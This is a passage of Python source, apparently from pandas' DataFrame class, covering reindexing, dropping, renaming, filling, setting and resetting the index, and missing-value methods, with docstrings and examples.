# We can get there through loc single_block_path
if isinstance(value, (DataFrame, Series)):
return _reindex_for_setitem(value, self.index)
if is_list_like(value):
com.require_length_match(value, self.index)
return sanitize_array(value, self.index, copy=True, allow_2d=True)
@property
def _series(self):
return {
item: Series(
self._mgr.iget(idx), index=self.index, name=item, fastpath=True
)
for idx, item in enumerate(self.columns)
}
def lookup(
self, row_labels: Sequence[IndexLabel], col_labels: Sequence[IndexLabel]
) -> np.ndarray:
"""
Label-based "fancy indexing" function for DataFrame.
Given equal-length arrays of row and column labels, return an
array of the values corresponding to each (row, col) pair.
.. deprecated:: 1.2.0
DataFrame.lookup is deprecated,
use DataFrame.melt and DataFrame.loc instead.
For further details see
:ref:`Looking up values by index/column labels <indexing.lookup>`.
Parameters
----------
row_labels : sequence
The row labels to use for lookup.
col_labels : sequence
The column labels to use for lookup.
Returns
-------
numpy.ndarray
The found values.
"""
msg = (
"The 'lookup' method is deprecated and will be "
"removed in a future version. "
"You can use DataFrame.melt and DataFrame.loc "
"as a substitute."
)
warnings.warn(msg, FutureWarning, stacklevel=find_stack_level())
n = len(row_labels)
if n != len(col_labels):
raise ValueError("Row labels must have same size as column labels")
if not (self.index.is_unique and self.columns.is_unique):
# GH#33041
raise ValueError("DataFrame.lookup requires unique index and columns")
thresh = 1000
if not self._is_mixed_type or n > thresh:
values = self.values
ridx = self.index.get_indexer(row_labels)
cidx = self.columns.get_indexer(col_labels)
if (ridx == -1).any():
raise KeyError("One or more row labels was not found")
if (cidx == -1).any():
raise KeyError("One or more column labels was not found")
flat_index = ridx * len(self.columns) + cidx
result = values.flat[flat_index]
else:
result = np.empty(n, dtype="O")
for i, (r, c) in enumerate(zip(row_labels, col_labels)):
result[i] = self._get_value(r, c)
if is_object_dtype(result):
result = lib.maybe_convert_objects(result)
return result
# ----------------------------------------------------------------------
# Reindexing and alignment
def _reindex_axes(self, axes, level, limit, tolerance, method, fill_value, copy):
frame = self
columns = axes["columns"]
if columns is not None:
frame = frame._reindex_columns(
columns, method, copy, level, fill_value, limit, tolerance
)
index = axes["index"]
if index is not None:
frame = frame._reindex_index(
index, method, copy, level, fill_value, limit, tolerance
)
return frame
def _reindex_index(
self,
new_index,
method,
copy: bool,
level: Level,
fill_value=np.nan,
limit=None,
tolerance=None,
):
new_index, indexer = self.index.reindex(
new_index, method=method, level=level, limit=limit, tolerance=tolerance
)
return self._reindex_with_indexers(
{0: [new_index, indexer]},
copy=copy,
fill_value=fill_value,
allow_dups=False,
)
def _reindex_columns(
self,
new_columns,
method,
copy: bool,
level: Level,
fill_value=None,
limit=None,
tolerance=None,
):
new_columns, indexer = self.columns.reindex(
new_columns, method=method, level=level, limit=limit, tolerance=tolerance
)
return self._reindex_with_indexers(
{1: [new_columns, indexer]},
copy=copy,
fill_value=fill_value,
allow_dups=False,
)
def _reindex_multi(
self, axes: dict[str, Index], copy: bool, fill_value
) -> DataFrame:
"""
We are guaranteed non-Nones in the axes.
"""
new_index, row_indexer = self.index.reindex(axes["index"])
new_columns, col_indexer = self.columns.reindex(axes["columns"])
if row_indexer is not None and col_indexer is not None:
# Fastpath. By doing two 'take's at once we avoid making an
# unnecessary copy.
# We only get here with `not self._is_mixed_type`, which (almost)
# ensures that self.values is cheap. It may be worth making this
# condition more specific.
indexer = row_indexer, col_indexer
new_values = take_2d_multi(self.values, indexer, fill_value=fill_value)
return self._constructor(new_values, index=new_index, columns=new_columns)
else:
return self._reindex_with_indexers(
{0: [new_index, row_indexer], 1: [new_columns, col_indexer]},
copy=copy,
fill_value=fill_value,
)
@doc(NDFrame.align, **_shared_doc_kwargs)
def align(
self,
other,
join: str = "outer",
axis: Axis | None = None,
level: Level | None = None,
copy: bool = True,
fill_value=None,
method: str | None = None,
limit=None,
fill_axis: Axis = 0,
broadcast_axis: Axis | None = None,
) -> DataFrame:
return super().align(
other,
join=join,
axis=axis,
level=level,
copy=copy,
fill_value=fill_value,
method=method,
limit=limit,
fill_axis=fill_axis,
broadcast_axis=broadcast_axis,
)
@overload
def set_axis(
self, labels, axis: Axis = ..., inplace: Literal[False] = ...
) -> DataFrame:
...
@overload
def set_axis(self, labels, axis: Axis, inplace: Literal[True]) -> None:
...
@overload
def set_axis(self, labels, *, inplace: Literal[True]) -> None:
...
@overload
def set_axis(
self, labels, axis: Axis = ..., inplace: bool = ...
) -> DataFrame | None:
...
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "labels"])
@Appender(
"""
Examples
--------
>>> df = pd.DataFrame({"A": [1, 2, 3], "B": [4, 5, 6]})
Change the row labels.
>>> df.set_axis(['a', 'b', 'c'], axis='index')
A B
a 1 4
b 2 5
c 3 6
Change the column labels.
>>> df.set_axis(['I', 'II'], axis='columns')
I II
0 1 4
1 2 5
2 3 6
Now, update the labels inplace.
>>> df.set_axis(['i', 'ii'], axis='columns', inplace=True)
>>> df
i ii
0 1 4
1 2 5
2 3 6
"""
)
@Substitution(
**_shared_doc_kwargs,
extended_summary_sub=" column or",
axis_description_sub=", and 1 identifies the columns",
see_also_sub=" or columns",
)
@Appender(NDFrame.set_axis.__doc__)
def set_axis(self, labels, axis: Axis = 0, inplace: bool = False):
return super().set_axis(labels, axis=axis, inplace=inplace)
@Substitution(**_shared_doc_kwargs)
@Appender(NDFrame.reindex.__doc__)
@rewrite_axis_style_signature(
"labels",
[
("method", None),
("copy", True),
("level", None),
("fill_value", np.nan),
("limit", None),
("tolerance", None),
],
)
def reindex(self, *args, **kwargs) -> DataFrame:
axes = validate_axis_style_args(self, args, kwargs, "labels", "reindex")
kwargs.update(axes)
# Pop these, since the values are in `kwargs` under different names
kwargs.pop("axis", None)
kwargs.pop("labels", None)
return super().reindex(**kwargs)
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "labels"])
def drop(
self,
labels=None,
axis: Axis = 0,
index=None,
columns=None,
level: Level | None = None,
inplace: bool = False,
errors: str = "raise",
):
"""
Drop specified labels from rows or columns.
Remove rows or columns by specifying label names and corresponding
axis, or by specifying directly index or column names. When using a
multi-index, labels on different levels can be removed by specifying
the level. See the `user guide <advanced.shown_levels>`
for more information about the now unused levels.
Parameters
----------
labels : single label or list-like
Index or column labels to drop. A tuple will be used as a single
label and not treated as a list-like.
axis : {0 or 'index', 1 or 'columns'}, default 0
Whether to drop labels from the index (0 or 'index') or
columns (1 or 'columns').
index : single label or list-like
Alternative to specifying axis (``labels, axis=0``
is equivalent to ``index=labels``).
columns : single label or list-like
Alternative to specifying axis (``labels, axis=1``
is equivalent to ``columns=labels``).
level : int or level name, optional
For MultiIndex, level from which the labels will be removed.
inplace : bool, default False
If False, return a copy. Otherwise, do operation
inplace and return None.
errors : {'ignore', 'raise'}, default 'raise'
If 'ignore', suppress error and only existing labels are
dropped.
Returns
-------
DataFrame or None
DataFrame without the removed index or column labels or
None if ``inplace=True``.
Raises
------
KeyError
If any of the labels is not found in the selected axis.
See Also
--------
DataFrame.loc : Label-location based indexer for selection by label.
DataFrame.dropna : Return DataFrame with labels on given axis omitted
where (all or any) data are missing.
DataFrame.drop_duplicates : Return DataFrame with duplicate rows
removed, optionally only considering certain columns.
Series.drop : Return Series with specified index labels removed.
Examples
--------
>>> df = pd.DataFrame(np.arange(12).reshape(3, 4),
... columns=['A', 'B', 'C', 'D'])
>>> df
A B C D
0 0 1 2 3
1 4 5 6 7
2 8 9 10 11
Drop columns
>>> df.drop(['B', 'C'], axis=1)
A D
0 0 3
1 4 7
2 8 11
>>> df.drop(columns=['B', 'C'])
A D
0 0 3
1 4 7
2 8 11
Drop a row by index
>>> df.drop([0, 1])
A B C D
2 8 9 10 11
Drop columns and/or rows of MultiIndex DataFrame
>>> midx = pd.MultiIndex(levels=[['lama', 'cow', 'falcon'],
... ['speed', 'weight', 'length']],
... codes=[[0, 0, 0, 1, 1, 1, 2, 2, 2],
... [0, 1, 2, 0, 1, 2, 0, 1, 2]])
>>> df = pd.DataFrame(index=midx, columns=['big', 'small'],
... data=[[45, 30], [200, 100], [1.5, 1], [30, 20],
... [250, 150], [1.5, 0.8], [320, 250],
... [1, 0.8], [0.3, 0.2]])
>>> df
big small
lama speed 45.0 30.0
weight 200.0 100.0
length 1.5 1.0
cow speed 30.0 20.0
weight 250.0 150.0
length 1.5 0.8
falcon speed 320.0 250.0
weight 1.0 0.8
length 0.3 0.2
Drop a specific index combination from the MultiIndex
DataFrame, i.e., drop the combination ``'falcon'`` and
``'weight'``, which deletes only the corresponding row
>>> df.drop(index=('falcon', 'weight'))
big small
lama speed 45.0 30.0
weight 200.0 100.0
length 1.5 1.0
cow speed 30.0 20.0
weight 250.0 150.0
length 1.5 0.8
falcon speed 320.0 250.0
length 0.3 0.2
>>> df.drop(index='cow', columns='small')
big
lama speed 45.0
weight 200.0
length 1.5
falcon speed 320.0
weight 1.0
length 0.3
>>> df.drop(index='length', level=1)
big small
lama speed 45.0 30.0
weight 200.0 100.0
cow speed 30.0 20.0
weight 250.0 150.0
falcon speed 320.0 250.0
weight 1.0 0.8
"""
return super().drop(
labels=labels,
axis=axis,
index=index,
columns=columns,
level=level,
inplace=inplace,
errors=errors,
)
def rename(
self,
mapper: Renamer | None = None,
*,
index: Renamer | None = None,
columns: Renamer | None = None,
axis: Axis | None = None,
copy: bool = True,
inplace: bool = False,
level: Level | None = None,
errors: str = "ignore",
) -> DataFrame | None:
"""
Alter axes labels.
Function / dict values must be unique (1-to-1). Labels not contained in
a dict / Series will be left as-is. Extra labels listed don't throw an
error.
See the :ref:`user guide <basics.rename>` for more.
Parameters
----------
mapper : dict-like or function
Dict-like or function transformations to apply to
that axis' values. Use either ``mapper`` and ``axis`` to
specify the axis to target with ``mapper``, or ``index`` and
``columns``.
index : dict-like or function
Alternative to specifying axis (``mapper, axis=0``
is equivalent to ``index=mapper``).
columns : dict-like or function
Alternative to specifying axis (``mapper, axis=1``
is equivalent to ``columns=mapper``).
axis : {0 or 'index', 1 or 'columns'}, default 0
Axis to target with ``mapper``. Can be either the axis name
('index', 'columns') or number (0, 1). The default is 'index'.
copy : bool, default True
Also copy underlying data.
inplace : bool, default False
Whether to return a new DataFrame. If True then value of copy is
ignored.
level : int or level name, default None
In case of a MultiIndex, only rename labels in the specified
level.
errors : {'ignore', 'raise'}, default 'ignore'
If 'raise', raise a `KeyError` when a dict-like `mapper`, `index`,
or `columns` contains labels that are not present in the Index
being transformed.
If 'ignore', existing keys will be renamed and extra keys will be
ignored.
Returns
-------
DataFrame or None
DataFrame with the renamed axis labels or None if ``inplace=True``.
Raises
------
KeyError
If any of the labels is not found in the selected axis and
"errors='raise'".
See Also
--------
DataFrame.rename_axis : Set the name of the axis.
Examples
--------
``DataFrame.rename`` supports two calling conventions
* ``(index=index_mapper, columns=columns_mapper, ...)``
* ``(mapper, axis={'index', 'columns'}, ...)``
We *highly* recommend using keyword arguments to clarify your
intent.
Rename columns using a mapping:
>>> df = pd.DataFrame({"A": [1, 2, 3], "B": [4, 5, 6]})
>>> df.rename(columns={"A": "a", "B": "c"})
a c
0 1 4
1 2 5
2 3 6
Rename index using a mapping:
>>> df.rename(index={0: "x", 1: "y", 2: "z"})
A B
x 1 4
y 2 5
z 3 6
Cast index labels to a different type:
>>> df.index
RangeIndex(start=0, stop=3, step=1)
>>> df.rename(index=str).index
Index(['0', '1', '2'], dtype='object')
>>> df.rename(columns={"A": "a", "B": "b", "C": "c"}, errors="raise")
Traceback (most recent call last):
KeyError: ['C'] not found in axis
Using axis-style parameters:
>>> df.rename(str.lower, axis='columns')
a b
0 1 4
1 2 5
2 3 6
>>> df.rename({1: 2, 2: 4}, axis='index')
A B
0 1 4
2 2 5
4 3 6
"""
return super()._rename(
mapper=mapper,
index=index,
columns=columns,
axis=axis,
copy=copy,
inplace=inplace,
level=level,
errors=errors,
)
@overload
def fillna(
self,
value=...,
method: FillnaOptions | None = ...,
axis: Axis | None = ...,
inplace: Literal[False] = ...,
limit=...,
downcast=...,
) -> DataFrame:
...
@overload
def fillna(
self,
value,
method: FillnaOptions | None,
axis: Axis | None,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
*,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
value,
*,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
*,
method: FillnaOptions | None,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
*,
axis: Axis | None,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
*,
method: FillnaOptions | None,
axis: Axis | None,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
value,
*,
axis: Axis | None,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
value,
method: FillnaOptions | None,
*,
inplace: Literal[True],
limit=...,
downcast=...,
) -> None:
...
@overload
def fillna(
self,
value=...,
method: FillnaOptions | None = ...,
axis: Axis | None = ...,
inplace: bool = ...,
limit=...,
downcast=...,
) -> DataFrame | None:
...
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "value"])
@doc(NDFrame.fillna, **_shared_doc_kwargs)
def fillna(
self,
value: object | ArrayLike | None = None,
method: FillnaOptions | None = None,
axis: Axis | None = None,
inplace: bool = False,
limit=None,
downcast=None,
) -> DataFrame | None:
return super().fillna(
value=value,
method=method,
axis=axis,
inplace=inplace,
limit=limit,
downcast=downcast,
)
def pop(self, item: Hashable) -> Series:
"""
Return item and drop from frame. Raise KeyError if not found.
Parameters
----------
item : label
Label of column to be popped.
Returns
-------
Series
Examples
--------
>>> df = pd.DataFrame([('falcon', 'bird', 389.0),
... ('parrot', 'bird', 24.0),
... ('lion', 'mammal', 80.5),
... ('monkey', 'mammal', np.nan)],
... columns=('name', 'class', 'max_speed'))
>>> df
name class max_speed
0 falcon bird 389.0
1 parrot bird 24.0
2 lion mammal 80.5
3 monkey mammal NaN
>>> df.pop('class')
0 bird
1 bird
2 mammal
3 mammal
Name: class, dtype: object
>>> df
name max_speed
0 falcon 389.0
1 parrot 24.0
2 lion 80.5
3 monkey NaN
"""
return super().pop(item=item)
@doc(NDFrame.replace, **_shared_doc_kwargs)
def replace(
self,
to_replace=None,
value=lib.no_default,
inplace: bool = False,
limit=None,
regex: bool = False,
method: str | lib.NoDefault = lib.no_default,
):
return super().replace(
to_replace=to_replace,
value=value,
inplace=inplace,
limit=limit,
regex=regex,
method=method,
)
def _replace_columnwise(
self, mapping: dict[Hashable, tuple[Any, Any]], inplace: bool, regex
):
"""
Dispatch to Series.replace column-wise.
Parameters
----------
mapping : dict
of the form {col: (target, value)}
inplace : bool
regex : bool or same types as `to_replace` in DataFrame.replace
Returns
-------
DataFrame or None
"""
# Operate column-wise
res = self if inplace else self.copy()
ax = self.columns
for i in range(len(ax)):
if ax[i] in mapping:
ser = self.iloc[:, i]
target, value = mapping[ax[i]]
newobj = ser.replace(target, value, regex=regex)
res.iloc[:, i] = newobj
if inplace:
return
return res.__finalize__(self)
@doc(NDFrame.shift, klass=_shared_doc_kwargs["klass"])
def shift(
self,
periods=1,
freq: Frequency | None = None,
axis: Axis = 0,
fill_value=lib.no_default,
) -> DataFrame:
axis = self._get_axis_number(axis)
ncols = len(self.columns)
if (
axis == 1
and periods != 0
and freq is None
and fill_value is lib.no_default
and ncols > 0
):
# We will infer fill_value to match the closest column
# Use a column that we know is valid for our column's dtype GH#38434
label = self.columns[0]
if periods > 0:
result = self.iloc[:, :-periods]
for col in range(min(ncols, abs(periods))):
# TODO(EA2D): doing this in a loop unnecessary with 2D EAs
# Define filler inside loop so we get a copy
filler = self.iloc[:, 0].shift(len(self))
result.insert(0, label, filler, allow_duplicates=True)
else:
result = self.iloc[:, -periods:]
for col in range(min(ncols, abs(periods))):
# Define filler inside loop so we get a copy
filler = self.iloc[:, -1].shift(len(self))
result.insert(
len(result.columns), label, filler, allow_duplicates=True
)
result.columns = self.columns.copy()
return result
return super().shift(
periods=periods, freq=freq, axis=axis, fill_value=fill_value
)
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "keys"])
def set_index(
self,
keys,
drop: bool = True,
append: bool = False,
inplace: bool = False,
verify_integrity: bool = False,
):
"""
Set the DataFrame index using existing columns.
Set the DataFrame index (row labels) using one or more existing
columns or arrays (of the correct length). The index can replace the
existing index or expand on it.
Parameters
----------
keys : label or array-like or list of labels/arrays
This parameter can be either a single column key, a single array of
the same length as the calling DataFrame, or a list containing an
arbitrary combination of column keys and arrays. Here, "array"
encompasses :class:`Series`, :class:`Index`, ``np.ndarray``, and
instances of :class:`~collections.abc.Iterator`.
drop : bool, default True
Delete columns to be used as the new index.
append : bool, default False
Whether to append columns to existing index.
inplace : bool, default False
If True, modifies the DataFrame in place (do not create a new object).
verify_integrity : bool, default False
Check the new index for duplicates. Otherwise defer the check until
necessary. Setting to False will improve the performance of this
method.
Returns
-------
DataFrame or None
Changed row labels or None if ``inplace=True``.
See Also
--------
DataFrame.reset_index : Opposite of set_index.
DataFrame.reindex : Change to new indices or expand indices.
DataFrame.reindex_like : Change to same indices as other DataFrame.
Examples
--------
>>> df = pd.DataFrame({'month': [1, 4, 7, 10],
... 'year': [2012, 2014, 2013, 2014],
... 'sale': [55, 40, 84, 31]})
>>> df
month year sale
0 1 2012 55
1 4 2014 40
2 7 2013 84
3 10 2014 31
Set the index to become the 'month' column:
>>> df.set_index('month')
year sale
month
1 2012 55
4 2014 40
7 2013 84
10 2014 31
Create a MultiIndex using columns 'year' and 'month':
>>> df.set_index(['year', 'month'])
sale
year month
2012 1 55
2014 4 40
2013 7 84
2014 10 31
Create a MultiIndex using an Index and a column:
>>> df.set_index([pd.Index([1, 2, 3, 4]), 'year'])
month sale
year
1 2012 1 55
2 2014 4 40
3 2013 7 84
4 2014 10 31
Create a MultiIndex using two Series:
>>> s = pd.Series([1, 2, 3, 4])
>>> df.set_index([s, s**2])
month year sale
1 1 1 2012 55
2 4 4 2014 40
3 9 7 2013 84
4 16 10 2014 31
"""
inplace = validate_bool_kwarg(inplace, "inplace")
self._check_inplace_and_allows_duplicate_labels(inplace)
if not isinstance(keys, list):
keys = [keys]
err_msg = (
'The parameter "keys" may be a column key, one-dimensional '
"array, or a list containing only valid column keys and "
"one-dimensional arrays."
)
missing: list[Hashable] = []
for col in keys:
if isinstance(col, (Index, Series, np.ndarray, list, abc.Iterator)):
# arrays are fine as long as they are one-dimensional
# iterators get converted to list below
if getattr(col, "ndim", 1) != 1:
raise ValueError(err_msg)
else:
# everything else gets tried as a key; see GH 24969
try:
found = col in self.columns
except TypeError as err:
raise TypeError(
f"{err_msg}. Received column of type {type(col)}"
) from err
else:
if not found:
missing.append(col)
if missing:
raise KeyError(f"None of {missing} are in the columns")
if inplace:
frame = self
else:
frame = self.copy()
arrays = []
names: list[Hashable] = []
if append:
names = list(self.index.names)
if isinstance(self.index, MultiIndex):
for i in range(self.index.nlevels):
arrays.append(self.index._get_level_values(i))
else:
arrays.append(self.index)
to_remove: list[Hashable] = []
for col in keys:
if isinstance(col, MultiIndex):
for n in range(col.nlevels):
arrays.append(col._get_level_values(n))
names.extend(col.names)
elif isinstance(col, (Index, Series)):
# if Index then not MultiIndex (treated above)
# error: Argument 1 to "append" of "list" has incompatible type
# "Union[Index, Series]"; expected "Index"
arrays.append(col) # type:ignore[arg-type]
names.append(col.name)
elif isinstance(col, (list, np.ndarray)):
# error: Argument 1 to "append" of "list" has incompatible type
# "Union[List[Any], ndarray]"; expected "Index"
arrays.append(col) # type: ignore[arg-type]
names.append(None)
elif isinstance(col, abc.Iterator):
# error: Argument 1 to "append" of "list" has incompatible type
# "List[Any]"; expected "Index"
arrays.append(list(col)) # type: ignore[arg-type]
names.append(None)
# from here, col can only be a column label
else:
arrays.append(frame[col]._values)
names.append(col)
if drop:
to_remove.append(col)
if len(arrays[-1]) != len(self):
# check newest element against length of calling frame, since
# ensure_index_from_sequences would not raise for append=False.
raise ValueError(
f"Length mismatch: Expected {len(self)} rows, "
f"received array of length {len(arrays[-1])}"
)
index = ensure_index_from_sequences(arrays, names)
if verify_integrity and not index.is_unique:
duplicates = index[index.duplicated()].unique()
raise ValueError(f"Index has duplicate keys: {duplicates}")
# use set to handle duplicate column names gracefully in case of drop
for c in set(to_remove):
del frame[c]
# clear up memory usage
index._cleanup()
frame.index = index
if not inplace:
return frame
@overload
def reset_index(
self,
level: Hashable | Sequence[Hashable] | None = ...,
drop: bool = ...,
inplace: Literal[False] = ...,
col_level: Hashable = ...,
col_fill: Hashable = ...,
) -> DataFrame:
...
@overload
def reset_index(
self,
level: Hashable | Sequence[Hashable] | None,
drop: bool,
inplace: Literal[True],
col_level: Hashable = ...,
col_fill: Hashable = ...,
) -> None:
...
@overload
def reset_index(
self,
*,
drop: bool,
inplace: Literal[True],
col_level: Hashable = ...,
col_fill: Hashable = ...,
) -> None:
...
@overload
def reset_index(
self,
level: Hashable | Sequence[Hashable] | None,
*,
inplace: Literal[True],
col_level: Hashable = ...,
col_fill: Hashable = ...,
) -> None:
...
@overload
def reset_index(
self,
*,
inplace: Literal[True],
col_level: Hashable = ...,
col_fill: Hashable = ...,
) -> None:
...
@overload
def reset_index(
self,
level: Hashable | Sequence[Hashable] | None = ...,
drop: bool = ...,
inplace: bool = ...,
col_level: Hashable = ...,
col_fill: Hashable = ...,
) -> DataFrame | None:
...
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "level"])
def reset_index(
self,
level: Hashable | Sequence[Hashable] | None = None,
drop: bool = False,
inplace: bool = False,
col_level: Hashable = 0,
col_fill: Hashable = "",
) -> DataFrame | None:
"""
Reset the index, or a level of it.
Reset the index of the DataFrame, and use the default one instead.
If the DataFrame has a MultiIndex, this method can remove one or more
levels.
Parameters
----------
level : int, str, tuple, or list, default None
Only remove the given levels from the index. Removes all levels by
default.
drop : bool, default False
Do not try to insert index into dataframe columns. This resets
the index to the default integer index.
inplace : bool, default False
Modify the DataFrame in place (do not create a new object).
col_level : int or str, default 0
If the columns have multiple levels, determines which level the
labels are inserted into. By default it is inserted into the first
level.
col_fill : object, default ''
If the columns have multiple levels, determines how the other
levels are named. If None then the index name is repeated.
Returns
-------
DataFrame or None
DataFrame with the new index or None if ``inplace=True``.
See Also
--------
DataFrame.set_index : Opposite of reset_index.
DataFrame.reindex : Change to new indices or expand indices.
DataFrame.reindex_like : Change to same indices as other DataFrame.
Examples
--------
>>> df = pd.DataFrame([('bird', 389.0),
... ('bird', 24.0),
... ('mammal', 80.5),
... ('mammal', np.nan)],
... index=['falcon', 'parrot', 'lion', 'monkey'],
... columns=('class', 'max_speed'))
>>> df
class max_speed
falcon bird 389.0
parrot bird 24.0
lion mammal 80.5
monkey mammal NaN
When we reset the index, the old index is added as a column, and a
new sequential index is used:
>>> df.reset_index()
index class max_speed
0 falcon bird 389.0
1 parrot bird 24.0
2 lion mammal 80.5
3 monkey mammal NaN
We can use the `drop` parameter to avoid the old index being added as
a column:
>>> df.reset_index(drop=True)
class max_speed
0 bird 389.0
1 bird 24.0
2 mammal 80.5
3 mammal NaN
You can also use `reset_index` with `MultiIndex`.
>>> index = pd.MultiIndex.from_tuples([('bird', 'falcon'),
... ('bird', 'parrot'),
... ('mammal', 'lion'),
... ('mammal', 'monkey')],
... names=['class', 'name'])
>>> columns = pd.MultiIndex.from_tuples([('speed', 'max'),
... ('species', 'type')])
>>> df = pd.DataFrame([(389.0, 'fly'),
... ( 24.0, 'fly'),
... ( 80.5, 'run'),
... (np.nan, 'jump')],
... index=index,
... columns=columns)
>>> df
speed species
max type
class name
bird falcon 389.0 fly
parrot 24.0 fly
mammal lion 80.5 run
monkey NaN jump
If the index has multiple levels, we can reset a subset of them:
>>> df.reset_index(level='class')
class speed species
max type
name
falcon bird 389.0 fly
parrot bird 24.0 fly
lion mammal 80.5 run
monkey mammal NaN jump
If we are not dropping the index, by default, it is placed in the top
level. We can place it in another level:
>>> df.reset_index(level='class', col_level=1)
speed species
class max type
name
falcon bird 389.0 fly
parrot bird 24.0 fly
lion mammal 80.5 run
monkey mammal NaN jump
When the index is inserted under another level, we can specify under
which one with the parameter `col_fill`:
>>> df.reset_index(level='class', col_level=1, col_fill='species')
species speed species
class max type
name
falcon bird 389.0 fly
parrot bird 24.0 fly
lion mammal 80.5 run
monkey mammal NaN jump
If we specify a nonexistent level for `col_fill`, it is created:
>>> df.reset_index(level='class', col_level=1, col_fill='genus')
genus speed species
class max type
name
falcon bird 389.0 fly
parrot bird 24.0 fly
lion mammal 80.5 run
monkey mammal NaN jump
"""
inplace = validate_bool_kwarg(inplace, "inplace")
self._check_inplace_and_allows_duplicate_labels(inplace)
if inplace:
new_obj = self
else:
new_obj = self.copy()
new_index = default_index(len(new_obj))
if level is not None:
if not isinstance(level, (tuple, list)):
level = [level]
level = [self.index._get_level_number(lev) for lev in level]
if len(level) < self.index.nlevels:
new_index = self.index.droplevel(level)
if not drop:
to_insert: Iterable[tuple[Any, Any | None]]
if isinstance(self.index, MultiIndex):
names = com.fill_missing_names(self.index.names)
to_insert = zip(self.index.levels, self.index.codes)
else:
default = "index" if "index" not in self else "level_0"
names = [default] if self.index.name is None else [self.index.name]
to_insert = ((self.index, None),)
multi_col = isinstance(self.columns, MultiIndex)
for i, (lev, lab) in reversed(list(enumerate(to_insert))):
if level is not None and i not in level:
continue
name = names[i]
if multi_col:
col_name = list(name) if isinstance(name, tuple) else [name]
if col_fill is None:
if len(col_name) not in (1, self.columns.nlevels):
raise ValueError(
"col_fill=None is incompatible "
f"with incomplete column name {name}"
)
col_fill = col_name[0]
lev_num = self.columns._get_level_number(col_level)
name_lst = [col_fill] * lev_num + col_name
missing = self.columns.nlevels - len(name_lst)
name_lst += [col_fill] * missing
name = tuple(name_lst)
# to ndarray and maybe infer different dtype
level_values = lev._values
if level_values.dtype == np.object_:
level_values = lib.maybe_convert_objects(level_values)
if lab is not None:
# if we have the codes, extract the values with a mask
level_values = algorithms.take(
level_values, lab, allow_fill=True, fill_value=lev._na_value
)
new_obj.insert(0, name, level_values)
new_obj.index = new_index
if not inplace:
return new_obj
return None
# ----------------------------------------------------------------------
# Reindex-based selection methods
@doc(NDFrame.isna, klass=_shared_doc_kwargs["klass"])
def isna(self) -> DataFrame:
result = self._constructor(self._mgr.isna(func=isna))
return result.__finalize__(self, method="isna")
@doc(NDFrame.isna, klass=_shared_doc_kwargs["klass"])
def isnull(self) -> DataFrame:
"""
DataFrame.isnull is an alias for DataFrame.isna.
"""
return self.isna()
@doc(NDFrame.notna, klass=_shared_doc_kwargs["klass"])
def notna(self) -> DataFrame:
return ~self.isna()
@doc(NDFrame.notna, klass=_shared_doc_kwargs["klass"])
def notnull(self) -> DataFrame:
"""
DataFrame.notnull is an alias for DataFrame.notna.
"""
return ~self.isna()
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self"])
def dropna(
self,
axis: Axis = 0,
how: str = "any",
thresh=None,
subset: IndexLabel = None,
inplace: bool = False,
):
"""
Remove missing values.
See the :ref:`User Guide <missing_data>` for more on which values are
considered missing, and how to work with missing data.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
Determine if rows or columns which contain missing values are
removed.
* 0, or 'index' : Drop rows which contain missing values.
* 1, or 'columns' : Drop columns which contain missing value.
.. versionchanged:: 1.0.0
Pass tuple or list to drop on multiple axes.
Only a single axis is allowed.
how : {'any', 'all'}, default 'any'
Determine if row or column is removed from DataFrame, when we have
at least one NA or all NA.
* 'any' : If any NA values are present, drop that row or column.
* 'all' : If all values are NA, drop that row or column.
thresh : int, optional
Require that many non-NA values.
subset : column label or sequence of labels, optional
Labels along other axis to consider, e.g. if you are dropping rows
these would be a list of columns to include.
inplace : bool, default False
If True, do operation inplace and return None.
Returns
-------
DataFrame or None
DataFrame with NA entries dropped from it or None if ``inplace=True``.
See Also
--------
DataFrame.isna: Indicate missing values.
DataFrame.notna : Indicate existing (non-missing) values.
DataFrame.fillna : Replace missing values.
Series.dropna : Drop missing values.
Index.dropna : Drop missing indices.
Examples
--------
>>> df = pd.DataFrame({"name": ['Alfred', 'Batman', 'Catwoman'],
... "toy": [np.nan, 'Batmobile', 'Bullwhip'],
... "born": [pd.NaT, pd.Timestamp("1940-04-25"),
... pd.NaT]})
>>> df
name toy born
0 Alfred NaN NaT
1 Batman Batmobile 1940-04-25
2 Catwoman Bullwhip NaT
Drop the rows where at least one element is missing.
>>> df.dropna()
name toy born
1 Batman Batmobile 1940-04-25
Drop the columns where at least one element is missing.
>>> df.dropna(axis='columns')
name
0 Alfred
1 Batman
2 Catwoman
Drop the rows where all elements are missing.
>>> df.dropna(how='all')
name toy born
0 Alfred NaN NaT
1 Batman Batmobile 1940-04-25
2 Catwoman Bullwhip NaT
Keep only the rows with at least 2 non-NA values.
>>> df.dropna(thresh=2)
name toy born
1 Batman Batmobile 1940-04-25
2 Catwoman Bullwhip NaT
Define in which columns to look for missing values.
>>> df.dropna(subset=['name', 'toy'])
name toy born
1 Batman Batmobile 1940-04-25
2 Catwoman Bullwhip NaT
Keep the DataFrame with valid entries in the same variable.
>>> df.dropna(inplace=True)
>>> df
name toy born
1 Batman Batmobile 1940-04-25
"""
inplace = validate_bool_kwarg(inplace, "inplace")
if isinstance(axis, (tuple, list)):
# GH20987
raise TypeError("supplying multiple axes to axis is no longer supported.")
axis = self._get_axis_number(axis)
agg_axis = 1 - axis
agg_obj = self
if subset is not None:
# subset needs to be list
if not is_list_like(subset):
subset = [subset]
ax = self._get_axis(agg_axis)
indices = ax.get_indexer_for(subset)
check = indices == -1
if check.any():
raise KeyError(np.array(subset)[check].tolist())
agg_obj = self.take(indices, axis=agg_axis)
if thresh is not None:
count = agg_obj.count(axis=agg_axis)
